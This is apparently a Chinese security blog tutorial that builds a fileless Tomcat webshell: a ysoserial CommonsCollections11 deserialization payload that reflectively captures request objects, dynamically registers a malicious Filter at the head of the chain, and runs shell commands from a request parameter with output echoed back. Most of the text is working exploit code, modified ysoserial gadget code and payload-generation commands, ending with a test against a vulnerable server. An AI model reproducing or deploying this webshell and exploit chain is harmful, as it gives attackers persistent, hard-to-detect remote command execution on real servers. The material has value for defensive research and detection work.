0x01 tomcat通用的获取request和response
首先我们看看一个普通http请求进来的时候,tomcat的部分执行栈:
复制 at org . apache . catalina . core . ApplicationFilterChain . internalDoFilter ( ApplicationFilterChain . java : 193 )
at org . apache . catalina . core . ApplicationFilterChain . doFilter ( ApplicationFilterChain . java : 166 )
at org . apache . catalina . core . StandardWrapperValve . invoke ( StandardWrapperValve . java : 198 )
at org . apache . catalina . core . StandardContextValve . invoke ( StandardContextValve . java : 96 )
at org . apache . catalina . authenticator . AuthenticatorBase . invoke ( AuthenticatorBase . java : 493 )
at org . apache . catalina . core . StandardHostValve . invoke ( StandardHostValve . java : 140 )
at org . apache . catalina . valves . ErrorReportValve . invoke ( ErrorReportValve . java : 81 )
at org . apache . catalina . core . StandardEngineValve . invoke ( StandardEngineValve . java : 87 )
at org . apache . catalina . connector . CoyoteAdapter . service ( CoyoteAdapter . java : 342 )
at org . apache . coyote . http11 . Http11Processor . service ( Http11Processor . java : 800 )
at org . apache . coyote . AbstractProcessorLight . process ( AbstractProcessorLight . java : 66 )
at org . apache . coyote . AbstractProtocol$ConnectionHandler . process ( AbstractProtocol . java : 806 )
at org . apache . tomcat . util . net . NioEndpoint$SocketProcessor . doRun ( NioEndpoint . java : 1498 )
at org . apache . tomcat . util . net . SocketProcessorBase . run ( SocketProcessorBase . java : 49 )
at java . util . concurrent . ThreadPoolExecutor . runWorker ( ThreadPoolExecutor . java : 1142 )
at java . util . concurrent . ThreadPoolExecutor$Worker . run ( ThreadPoolExecutor . java : 617 )
at org . apache . tomcat . util . threads . TaskThread$WrappingRunnable . run ( TaskThread . java : 61 )
at java . lang . Thread . run ( Thread . java : 745 )
按照kingkk师傅的方法,利用的点是在 org.apache.catalina.core.ApplicationFilterChain.internalDoFilter:
复制 if ( ApplicationDispatcher . WRAP_SAME_OBJECT ) {
lastServicedRequest . set (request);
lastServicedResponse . set (response);
}
其中,通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true,并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化,之后,每次请求进来,就能通过这两个ThreadLocal获取到相应的request和response了。但是,也存在一点小限制,在其set之前,看:
复制 private void internalDoFilter( ServletRequest request ,
ServletResponse response)
throws IOException , ServletException {
// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos ++ ];
try {
Filter filter = filterConfig . getFilter ();
if ( request . isAsyncSupported () && "false" . equalsIgnoreCase (
filterConfig . getFilterDef () . getAsyncSupported ())) {
request . setAttribute ( Globals . ASYNC_SUPPORTED_ATTR , Boolean . FALSE );
}
if ( Globals . IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req) . getUserPrincipal ();
Object [] args = new Object []{req , res , this };
SecurityUtil . doAsPrivilege ( "doFilter" , filter , classType , args , principal);
} else {
filter . doFilter (request , response , this );
}
} catch ( IOException | ServletException | RuntimeException e) {
throw e;
} catch ( Throwable e) {
e = ExceptionUtils . unwrapInvocationTargetException (e);
ExceptionUtils . handleThrowable (e);
throw new ServletException( sm . getString( "filterChain.filter" ) , e) ;
}
return ;
}
// We fell off the end of the chain -- call the servlet instance
try {
if ( ApplicationDispatcher . WRAP_SAME_OBJECT ) {
lastServicedRequest . set (request);
lastServicedResponse . set (response);
}
...
} catch ( IOException | ServletException | RuntimeException e) {
throw e;
} catch ( Throwable e) {
e = ExceptionUtils . unwrapInvocationTargetException (e);
ExceptionUtils . handleThrowable (e);
throw new ServletException( sm . getString( "filterChain.servlet" ) , e) ;
} finally {
if ( ApplicationDispatcher . WRAP_SAME_OBJECT ) {
lastServicedRequest . set ( null );
lastServicedResponse . set ( null );
}
}
}
先执行完所有的Filter了filter.doFilter(request, response, this)
因此,对于shiro的反序列化利用就没办法通过这种方式取到response回显了。
0x02 动态注册Filter
没错的,正如标题所说,通过动态注册一个Filter,并且把其放到最前面,这样,我们的Filter就能最先执行了,并且也成为了一个内存Webshell了。
要实现动态注册Filter,需要两个步骤。第一个步骤就是先达到能获取request和response,而第二个步骤是通过request或者response去动态注册Filter
步骤一
首先,我们创建一个继承AbstractTranslet(因为需要携带恶意字节码到服务端加载执行)的TomcatEchoInject类,在其静态代码块中反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true,并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化
复制 import com . sun . org . apache . xalan . internal . xsltc . DOM ;
import com . sun . org . apache . xalan . internal . xsltc . TransletException ;
import com . sun . org . apache . xalan . internal . xsltc . runtime . AbstractTranslet ;
import com . sun . org . apache . xml . internal . dtm . DTMAxisIterator ;
import com . sun . org . apache . xml . internal . serializer . SerializationHandler ;
/**
* @author threedr3am
*/
public class TomcatEchoInject extends AbstractTranslet {
static {
try {
/*刚开始反序列化后执行的逻辑*/
//修改 WRAP_SAME_OBJECT 值为 true
Class c = Class . forName ( "org.apache.catalina.core.ApplicationDispatcher" );
java . lang . reflect . Field f = c . getDeclaredField ( "WRAP_SAME_OBJECT" );
java . lang . reflect . Field modifiersField = f . getClass () . getDeclaredField ( "modifiers" );
modifiersField . setAccessible ( true );
modifiersField . setInt (f , f . getModifiers () & ~ java . lang . reflect . Modifier . FINAL );
f . setAccessible ( true );
if ( ! f . getBoolean ( null )) {
f . setBoolean ( null , true );
}
//初始化 lastServicedRequest
c = Class . forName ( "org.apache.catalina.core.ApplicationFilterChain" );
f = c . getDeclaredField ( "lastServicedRequest" );
modifiersField = f . getClass () . getDeclaredField ( "modifiers" );
modifiersField . setAccessible ( true );
modifiersField . setInt (f , f . getModifiers () & ~ java . lang . reflect . Modifier . FINAL );
f . setAccessible ( true );
if ( f . get ( null ) == null ) {
f . set ( null , new ThreadLocal() );
}
//初始化 lastServicedResponse
f = c . getDeclaredField ( "lastServicedResponse" );
modifiersField = f . getClass () . getDeclaredField ( "modifiers" );
modifiersField . setAccessible ( true );
modifiersField . setInt (f , f . getModifiers () & ~ java . lang . reflect . Modifier . FINAL );
f . setAccessible ( true );
if ( f . get ( null ) == null ) {
f . set ( null , new ThreadLocal() );
}
} catch ( Exception e) {
e . printStackTrace ();
}
}
@ Override
public void transform ( DOM document , SerializationHandler [] handlers) throws TransletException {
}
@ Override
public void transform ( DOM document , DTMAxisIterator iterator , SerializationHandler handler)
throws TransletException {
}
}
接着,我们改造一下ysoserial中的Gadgets.createTemplatesImpl方法
复制 public static Object createTemplatesImpl ( final String command) throws Exception {
return createTemplatesImpl(command , null ) ;
}
public static Object createTemplatesImpl ( final String command , final Class c ) throws Exception {
if ( Boolean . parseBoolean ( System . getProperty ( "properXalan" , "false" )) ) {
return createTemplatesImpl(
command , c ,
Class . forName( "org.apache.xalan.xsltc.trax.TemplatesImpl" ) ,
Class . forName( "org.apache.xalan.xsltc.runtime.AbstractTranslet" ) ,
Class . forName( "org.apache.xalan.xsltc.trax.TransformerFactoryImpl" )) ;
}
return createTemplatesImpl(command , c , TemplatesImpl . class , AbstractTranslet . class , TransformerFactoryImpl . class ) ;
}
public static <T> T createTemplatesImpl ( final String command, Class c, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass . newInstance ();
final byte [] classBytes;
if (c == null ) {
// use template gadget class
ClassPool pool = ClassPool . getDefault ();
pool . insertClassPath ( new ClassClassPath( StubTransletPayload . class ) );
pool . insertClassPath ( new ClassClassPath(abstTranslet) );
final CtClass clazz = pool . get ( StubTransletPayload . class . getName ());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command . replaceAll ( "\\\\" , "\\\\\\\\" ) . replaceAll ( "\"" , "\\\"" ) +
"\");" ;
clazz . makeClassInitializer () . insertAfter (cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz . setName ( "ysoserial.Pwner" + System . nanoTime ());
CtClass superC = pool . get ( abstTranslet . getName ());
clazz . setSuperclass (superC);
classBytes = clazz . toBytecode ();
} else {
classBytes = ClassFiles . classAsBytes (c);
}
// inject class bytes into instance
Reflections . setFieldValue (templates , "_bytecodes" , new byte [][] {
classBytes , ClassFiles . classAsBytes ( Foo . class )
});
// required to make TemplatesImpl happy
Reflections . setFieldValue (templates , "_name" , "Pwnr" );
Reflections . setFieldValue (templates , "_tfactory" , transFactory . newInstance ());
return templates;
}
可以看到,第二个传入的Class参数,我们并没有用到javassist,而是直接转字节数组,然后放到TemplatesImpl实例的_bytecodes字段中了。
最后,回到ysoserial中有调用Gadgets.createTemplatesImpl的payload类中来,我这边对每一个都做了拷贝修改,例如CommonsCollections11,我拷贝其修改后的类为CommonsCollections11ForTomcatEchoInject,在调用Gadgets.createTemplatesImpl(command[0];
的地方,改成了final Object templates = Gadgets.createTemplatesImpl(null, TomcatEchoInject.class);
并且,对ysoserial的main入口做一点小修改,因为原来的代码规定必须要有payload的入参,而我们这里不需要了
ysoserial.GeneratePayload#main:
复制 if ( args . length < 1 ) {
printUsage() ;
System . exit (USAGE_CODE);
}
在ysoserial执行maven指令生成jar包
复制 mvn clean - Dmaven . test . skip = true compile assembly : assembly
这样,我们就能使用这个新的payload(CommonsCollections11ForTomcatEchoInject)了
复制 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11ForTomcatEchoInject > ~/tmp/TomcatShellInject.ysoserial
步骤二
在使用步骤一生成的序列化数据进行反序列化攻击后,我们就能通过下面这段代码获取到request和response对象了
复制 java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
f . setAccessible ( true );
ThreadLocal t = (ThreadLocal) f . get ( null );
//不为空则意味着第一次反序列化的准备工作已成功
ServletRequest servletRequest = (ServletRequest) t . get ()
接着,我们要做的就是动态注册Filter到tomcat中,参考《动态注册之Servlet+Filter+Listener》 ,可以看到,其中通过ServletContext对象(实际获取的是ApplicationContext,是ServletContext的实现,因为门面模式的使用,后面需要提取实际实现),实现了动态注册Filter
复制 javax . servlet . FilterRegistration . Dynamic filterRegistration = servletContext . addFilter ( "threedr3am" , threedr3am);
filterRegistration . setInitParameter ( "encoding" , "utf-8" );
filterRegistration . setAsyncSupported ( false );
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
然而实际上并不管用,为什么呢?
复制 private Dynamic addFilter( String filterName , String filterClass , Filter filter) throws IllegalStateException {
if (filterName != null && ! filterName . equals ( "" )) {
if ( ! this . context . getState () . equals ( LifecycleState . STARTING_PREP )) {
throw new IllegalStateException(sm.getString("applicationContext.addFilter.ise", new Object[]{this.getContextPath()}));
} else {
FilterDef filterDef = this . context . findFilterDef (filterName);
if (filterDef == null ) {
filterDef = new FilterDef() ;
filterDef . setFilterName (filterName);
this . context . addFilterDef (filterDef);
} else if ( filterDef . getFilterName () != null && filterDef . getFilterClass () != null ) {
return null ;
}
if (filter == null ) {
filterDef . setFilterClass (filterClass);
} else {
filterDef . setFilterClass ( filter . getClass () . getName ());
filterDef . setFilter (filter);
}
return new ApplicationFilterRegistration(filterDef , this . context ) ;
}
} else {
throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", new Object[]{filterName}));
}
}
因为this.context.getState()
在运行时返回的state已经是LifecycleState.STARTED
了,所以直接就抛异常了,filter根本就添加不进去。
不过问题不大,因为this.context.getState()
获取的是ServletContext实现对象的context字段,从其中获取出state,那么,我们在其添加filter前,通过反射设置成LifecycleState.STARTING_PREP
,在其顺利添加完成后,再把其恢复成LifecycleState.STARTE
,这里必须要恢复,要不然会造成服务不可用。
其实上面的反射设置state值,也可以不做,因为我们看代码中,只是执行了this.context.addFilterDef(filterDef)
,我们完全也可以通过反射context这个字段自行添加filterDef。
在实际执行栈中,可以看到,实际filter的创建是在org.apache.catalina.core.StandardWrapperValve#invoke执行ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
的地方
跟进其实现方法,忽略不重要的代码:
复制 ...
StandardContext context = (StandardContext) wrapper . getParent ();
FilterMap filterMaps[] = context . findFilterMaps ();
...
// Add the relevant path-mapped filters to this filter chain
for ( int i = 0 ; i < filterMaps . length ; i ++ ) {
if ( ! matchDispatcher(filterMaps[i] , dispatcher) ) {
continue ;
}
if ( ! matchFiltersURL(filterMaps[i] , requestPath) )
continue ;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context . findFilterConfig (filterMaps[i] . getFilterName ());
if (filterConfig == null ) {
// FIXME - log configuration problem
continue ;
}
filterChain . addFilter (filterConfig);
}
可以看到,从context提取了FilterMap数组,并且遍历添加到filterChain,最终生效,但是这里有两个问题:
我们最早创建的filter被封装成FilterDef添加到了context的filterDefs中,但是filterMaps中并不存在
跟上述一样的问题,也不存在filterConfigs中(context.findFilterConfig
是从context的filterConfigs中获取)
这两个问题,也比较简单,第一个问题,其实在下面代码执行filterRegistration.addMappingForUrlPatterns
的时候已经添加进去了
复制 javax . servlet . FilterRegistration . Dynamic filterRegistration = servletContext . addFilter ( "threedr3am" , threedr3am);
filterRegistration . setInitParameter ( "encoding" , "utf-8" );
filterRegistration . setAsyncSupported ( false );
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
复制 public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) {
FilterMap filterMap = new FilterMap() ;
filterMap . setFilterName ( this . filterDef . getFilterName ());
if (dispatcherTypes != null ) {
Iterator var5 = dispatcherTypes . iterator ();
while ( var5 . hasNext ()) {
DispatcherType dispatcherType = (DispatcherType) var5 . next ();
filterMap . setDispatcher ( dispatcherType . name ());
}
}
if (urlPatterns != null ) {
String [] var9 = urlPatterns;
int var10 = urlPatterns . length ;
for ( int var7 = 0 ; var7 < var10; ++ var7) {
String urlPattern = var9[var7];
filterMap . addURLPattern (urlPattern);
}
if (isMatchAfter) {
this . context . addFilterMap (filterMap);
} else {
this . context . addFilterMapBefore (filterMap);
}
}
}
而第二个问题,既然没有,我们就反射加进去就行了,不过且先看看StandardContext,它有一个方法filterStart
复制 public boolean filterStart() {
if ( this . getLogger () . isDebugEnabled ()) {
this . getLogger () . debug ( "Starting filters" );
}
boolean ok = true ;
synchronized ( this . filterConfigs ) {
this . filterConfigs . clear ();
Iterator var3 = this . filterDefs . entrySet () . iterator ();
while ( var3 . hasNext ()) {
Entry < String , FilterDef > entry = (Entry) var3 . next ();
String name = (String) entry . getKey ();
if ( this . getLogger () . isDebugEnabled ()) {
this . getLogger () . debug ( " Starting filter '" + name + "'" );
}
try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig( this , (FilterDef) entry . getValue()) ;
this . filterConfigs . put (name , filterConfig);
} catch ( Throwable var8) {
Throwable t = ExceptionUtils . unwrapInvocationTargetException (var8);
ExceptionUtils . handleThrowable (t);
this . getLogger () . error ( sm . getString ( "standardContext.filterStart" , new Object []{name}) , t);
ok = false ;
}
}
return ok;
}
}
没错,它遍历了filterDefs,一个个实例化成ApplicationFilterConfig添加到filterConfigs了。
这两个问题解决了,是不是就完成了呢,其实还没有,还差一个优化的地方,因为我们想要把filter放到最前面,在所有filter前执行,从而解决shiro漏洞的问题。
也简单,我们看回org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
的代码:
复制 // Add the relevant path-mapped filters to this filter chain
for ( int i = 0 ; i < filterMaps . length ; i ++ ) {
if ( ! matchDispatcher(filterMaps[i] , dispatcher) ) {
continue ;
}
if ( ! matchFiltersURL(filterMaps[i] , requestPath) )
continue ;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context . findFilterConfig (filterMaps[i] . getFilterName ());
if (filterConfig == null ) {
// FIXME - log configuration problem
continue ;
}
}
创建的顺序是根据filterMaps的顺序来的,那么我们就有必要去修改我们添加的filter顺序到第一位了,最后,整个第二步骤的代码如下:
复制 import com . sun . org . apache . xalan . internal . xsltc . DOM ;
import com . sun . org . apache . xalan . internal . xsltc . TransletException ;
import com . sun . org . apache . xalan . internal . xsltc . runtime . AbstractTranslet ;
import com . sun . org . apache . xml . internal . dtm . DTMAxisIterator ;
import com . sun . org . apache . xml . internal . serializer . SerializationHandler ;
import java . io . IOException ;
import javax . servlet . Filter ;
import javax . servlet . FilterChain ;
import javax . servlet . FilterConfig ;
import javax . servlet . ServletException ;
import javax . servlet . ServletRequest ;
import javax . servlet . ServletResponse ;
/**
* @author threedr3am
*/
public class TomcatShellInject extends AbstractTranslet implements Filter {
static {
try {
/*shell注入,前提需要能拿到request、response等*/
java . lang . reflect . Field f = org . apache . catalina . core . ApplicationFilterChain . class
. getDeclaredField ( "lastServicedRequest" );
f . setAccessible ( true );
ThreadLocal t = (ThreadLocal) f . get ( null );
ServletRequest servletRequest = null ;
//不为空则意味着第一次反序列化的准备工作已成功
if (t != null && t . get () != null ) {
servletRequest = (ServletRequest) t . get ();
}
if (servletRequest != null ) {
javax . servlet . ServletContext servletContext = servletRequest . getServletContext ();
org . apache . catalina . core . StandardContext standardContext = null ;
//判断是否已有该名字的filter,有则不再添加
if ( servletContext . getFilterRegistration ( "threedr3am" ) == null ) {
//遍历出标准上下文对象
for (; standardContext == null ; ) {
java . lang . reflect . Field contextField = servletContext . getClass () . getDeclaredField ( "context" );
contextField . setAccessible ( true );
Object o = contextField . get (servletContext);
if (o instanceof javax . servlet . ServletContext ) {
servletContext = ( javax . servlet . ServletContext ) o;
} else if (o instanceof org . apache . catalina . core . StandardContext ) {
standardContext = ( org . apache . catalina . core . StandardContext ) o;
}
}
if (standardContext != null ) {
//修改状态,要不然添加不了
java . lang . reflect . Field stateField = org . apache . catalina . util . LifecycleBase . class
. getDeclaredField ( "state" );
stateField . setAccessible ( true );
stateField . set (standardContext , org . apache . catalina . LifecycleState . STARTING_PREP );
//创建一个自定义的Filter马
Filter threedr3am = new TomcatShellInject() ;
//添加filter马
javax . servlet . FilterRegistration . Dynamic filterRegistration = servletContext
. addFilter ( "threedr3am" , threedr3am);
filterRegistration . setInitParameter ( "encoding" , "utf-8" );
filterRegistration . setAsyncSupported ( false );
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String []{ "/*" });
//状态恢复,要不然服务不可用
if (stateField != null ) {
stateField . set (standardContext , org . apache . catalina . LifecycleState . STARTED );
}
if (standardContext != null ) {
//生效filter
java . lang . reflect . Method filterStartMethod = org . apache . catalina . core . StandardContext . class
. getMethod ( "filterStart" );
filterStartMethod . setAccessible ( true );
filterStartMethod . invoke (standardContext , null );
//把filter插到第一位
org . apache . tomcat . util . descriptor . web . FilterMap [] filterMaps = standardContext
. findFilterMaps ();
for ( int i = 0 ; i < filterMaps . length ; i ++ ) {
if (filterMaps[i] . getFilterName () . equalsIgnoreCase ( "threedr3am" )) {
org . apache . tomcat . util . descriptor . web . FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[ 0 ];
filterMaps[ 0 ] = filterMap;
break ;
}
}
}
}
}
}
} catch ( Exception e) {
e . printStackTrace ();
}
}
@ Override
public void transform ( DOM document , SerializationHandler [] handlers) throws TransletException {
}
@ Override
public void transform ( DOM document , DTMAxisIterator iterator , SerializationHandler handler)
throws TransletException {
}
@ Override
public void init ( FilterConfig filterConfig) throws ServletException {
}
@ Override
public void doFilter ( ServletRequest servletRequest , ServletResponse servletResponse ,
FilterChain filterChain) throws IOException , ServletException {
System . out . println (
"TomcatShellInject doFilter....................................................................." );
String cmd;
if ((cmd = servletRequest . getParameter ( "threedr3am" )) != null ) {
Process process = Runtime . getRuntime () . exec (cmd);
java . io . BufferedReader bufferedReader = new java . io . BufferedReader (
new java . io . InputStreamReader ( process . getInputStream ()));
StringBuilder stringBuilder = new StringBuilder() ;
String line;
while ((line = bufferedReader . readLine ()) != null ) {
stringBuilder . append (line + '\n' );
}
servletResponse . getOutputStream () . write ( stringBuilder . toString () . getBytes ());
servletResponse . getOutputStream () . flush ();
servletResponse . getOutputStream () . close ();
return ;
}
filterChain . doFilter (servletRequest , servletResponse);
}
@ Override
public void destroy () {
}
}
和第一个步骤创建的TomcatEchoInject不一样,这里我们不但基础了AbstractTranslet,还实现了Filter创建一个我们自定义的内存Webshell
最后,我们也按照第一个步骤那样,创建一个ysoserial的CommonsCollections11
类的拷贝,名叫CommonsCollections11ForTomcatShellInject
,并把其Gadgets.createTemplatesImpl(command[0])
的调用改成Gadgets.createTemplatesImpl(null, TomcatShellInject.class)
,这样,我们的Webshell payload就完成了。
通过执行maven打包
复制 mvn clean -Dmaven.test.skip=true compile assembly:assembly
然后执行生成的jar
复制 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11ForTomcatShellInject > ~/tmp/TomcatEchoInject.ysoserial
就生成了CommonsCollections11ForTomcatShellInject的payload了
0x03 测试
上一节中,我们生成了两个payload,接下来,我们启动一个具有commons-collections:commons-collections:3.2.1
依赖的服务端,并且存在反序列化的接口。
然后我们把步骤一和步骤二生成的payload依次打过去
可以依次看到,两个步骤都返回500异常,相关信息证明已经执行反序列化成功了,接下来我们试试这个内存Webshell